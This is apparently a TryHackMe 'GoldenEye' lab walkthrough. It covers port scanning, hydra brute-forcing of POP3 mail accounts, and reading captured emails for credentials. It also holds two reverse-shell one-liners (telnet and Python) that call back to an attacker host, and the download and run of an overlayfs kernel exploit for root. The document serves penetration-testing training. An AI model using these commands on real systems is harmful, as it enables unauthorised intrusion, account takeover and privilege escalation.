> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/goldeneye.md).

# GoldenEye

**Room Link:** <https://tryhackme.com/room/goldeneye>

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FiuDCgSzOKdQJsNyAjIcv%2Fimage.png?alt=media&amp;token=ef5d8314-1a6b-4f92-9281-c9fce0a97c19" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUXvvK8DuQXAwTVIQiQLM%2Fimage.png?alt=media&amp;token=a3275ae3-2598-4a01-8768-513e81b4331b" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u $VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FVcvRyRvnZ2P1eVkvqZaT%2Fimage.png?alt=media&amp;token=7f4ca3d6-90ca-43cf-90b8-c588dc8a086a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXs8XRY3HXC8WJACFIBb8%2Fimage.png?alt=media&amp;token=16bb709d-570a-4a4c-b703-ce4f72343b18" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYUYGBaptAIoyLWCOPppC%2Fimage.png?alt=media&amp;token=ea5bf42c-cc2b-47ad-98c3-f465041a1a81" alt=""><figcaption></figcaption></figure>

We find a encoded password and also a potential other user, Natalya.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FufFgMU8nwDqaEdpOjdaB%2Fimage.png?alt=media&amp;token=2d2e81bb-98d6-4801-a0a9-61c3efa793c2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F9NIdsIBP7TQZlnD9FJpz%2Fimage.png?alt=media&amp;token=89542880-32d2-450c-8c86-3d1f3d3427fc" alt=""><figcaption></figcaption></figure>

I can login to /sev-home now

```
Username: boris
Password: InvincibleHack3r
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fi6MGWjgyEWV7tn1rKAcS%2Fimage.png?alt=media&amp;token=480b1a7a-ee63-446c-9c69-eb3374b1ba25" alt=""><figcaption></figcaption></figure>

## TCP/55007 - POP3

**Kali**

```
telnet $VICTIM 55007
USER boris
PASS InvincibleHack3r
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUlpFwt056rPvf7IJYrjC%2Fimage.png?alt=media&amp;token=969b564b-8b8c-48b6-80c1-5535ed1a90bc" alt=""><figcaption></figcaption></figure>

**Kali**

```
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt pop3://$VICTIM:55007
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Ft9eUR0GHGYi5JAHLyrjF%2Fimage.png?alt=media&amp;token=d34b6648-7fa2-460e-9d30-80ca1c84a49d" alt=""><figcaption></figcaption></figure>

**Kali**

```
hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://$VICTIM:55007
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNqlRtXkv7YQ4QJrZky7h%2Fimage.png?alt=media&amp;token=38950813-555f-4943-bc2e-05cf199fc1ef" alt=""><figcaption></figcaption></figure>

**Kali**

```
telnet $VICTIM 55007
USER natalya
PASS bird
RETR 1
RETR 2
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDoU6lX9rK2rI5DTyyOzI%2Fimage.png?alt=media&amp;token=d392e3c2-5d57-409c-8dd6-7efd647ef4d8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1rDobkMzm4FRwSgQD3Mw%2Fimage.png?alt=media&amp;token=090750bd-81f1-4ed1-820a-09f686cc0f29" alt=""><figcaption></figcaption></figure>

New password still doesn't work but maybe can be used elsewhere.

**Kali**

```
telnet $VICTIM 55007
USER boris
PASS secret1!
RETR 1
RETR 2
RETR 3
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F26bn5cBk4qoEgvVO6xF5%2Fimage.png?alt=media&amp;token=ffe7ab0d-fa73-4dbf-86ce-b203365220c0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlM41WHVNTeX3PW9djxMR%2Fimage.png?alt=media&amp;token=b4c88f13-1da9-42ee-ada9-5c490fef868f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYQMzZBRsCsVVMfU4tYvi%2Fimage.png?alt=media&amp;token=aba0de41-6181-4819-8b32-e82d1c474dc9" alt=""><figcaption></figcaption></figure>

Added severnaya-station.com to my hosts file and then navigated to <http://severnaya-station.com/gnocertdir> as mentioned in the email

```
username: xenia
password: RCP90rulez!
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FIUedslqTsZKJaZnRAwoo%2Fimage.png?alt=media&amp;token=b1107111-7e8c-4fc7-b6d5-072d4ab78b04" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fet279TG8bbXbHBtU92Oa%2Fimage.png?alt=media&amp;token=8bb45400-c779-4120-94dc-7877963392d6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7UKFfjtkF2SVVsgNsawO%2Fimage.png?alt=media&amp;token=11b51ffc-718b-4427-8221-30baf3d5d563" alt=""><figcaption></figcaption></figure>

**Kali**

```
hydra -l doak -P /usr/share/wordlists/fasttrack.txt pop3://$VICTIM:55007
```

**Kali**

```
telnet $VICTIM 55007
USER doak
PASS goat
RETR 1
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEXqOvYtLIAwoMAyJ1joV%2Fimage.png?alt=media&amp;token=3ae7d53e-9c3b-46d3-bb22-51ff914d6c66" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FeINXw74MG3H9oxN0B4UB%2Fimage.png?alt=media&amp;token=70156588-0bec-4d63-8ee8-f38366bdec75" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHoCwf1sUuJauCuVZ3moS%2Fimage.png?alt=media&amp;token=5226ede5-ceda-48ad-9a18-b028fa3b81b4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FBkis2YoECG9s5AvP1hkP%2Fimage.png?alt=media&amp;token=73caf68b-4449-4367-8507-acce20392dc8" alt=""><figcaption></figcaption></figure>

**Kali**

```
exiftool for-007.jpg 
echo 'eFdpbnRlcjE5OTV4IQ==' | base64 -d 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5ESNUZLHifMDD4DQW95h%2Fimage.png?alt=media&amp;token=e7766588-7ea0-4c9a-a032-6f9dcf23d322" alt=""><figcaption></figcaption></figure>

It was the password for admin

```
Username: admin
Password: xWinter1995x!
```

## **Initial Shell**

**Kali**

```
nc -lvnp 4444
```

**Browser**

```
sh -c '(sleep 4062|telnet $KALI 4444|while : ; do sh && break; done 2>&1|telnet $KALI 4444 >/dev/null 2>&1 &)'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYhwMjseZqarCE8WxlMRm%2Fimage.png?alt=media&amp;token=89a5039b-2339-423b-a589-5e36b6ac26c6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxrSDONFdSDfuKWf9PeRt%2Fimage.png?alt=media&amp;token=20909715-8c82-4cf5-82ec-3518d43650a2" alt=""><figcaption></figcaption></figure>

It kind of worked but the shell kept breaking so I switched it to a python one and did the same thing.

**Kali**

<pre><code><strong>nc -lvnp 4444
</strong></code></pre>

**Browser**

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$KALI",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FugSykY7awvAlINcLV5vb%2Fimage.png?alt=media&amp;token=1c143b60-5a94-45c4-8705-515faa057bdc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhPo4vOowV4f524pdnBve%2Fimage.png?alt=media&amp;token=c43fead9-bc3e-4739-93f9-a584b6ad3136" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

### Privlege Escalation

Just changed below line from gcc to cc as gcc is not installed on the host

**Kali**

```
wget https://www.exploit-db.com/raw/37292 -O ofs.c 
python2 -m SimpleHTTPServer 81
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FwjaPf7XGAlWVcc5yMQuJ%2Fimage.png?alt=media&amp;token=b310fb8d-ff27-4732-ace7-93305a622a53" alt=""><figcaption></figcaption></figure>

**Victim**

```
cd /tmp/
wget http://$KALI:81/ofs.c 
id
cc ofs.c -o ofs
./ofs
id
whoami
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGuJsWAuYobI8Ccx4ycq4%2Fimage.png?alt=media&amp;token=2061999b-6b4d-4122-ad2c-12cb852f199c" alt=""><figcaption></figcaption></figure>
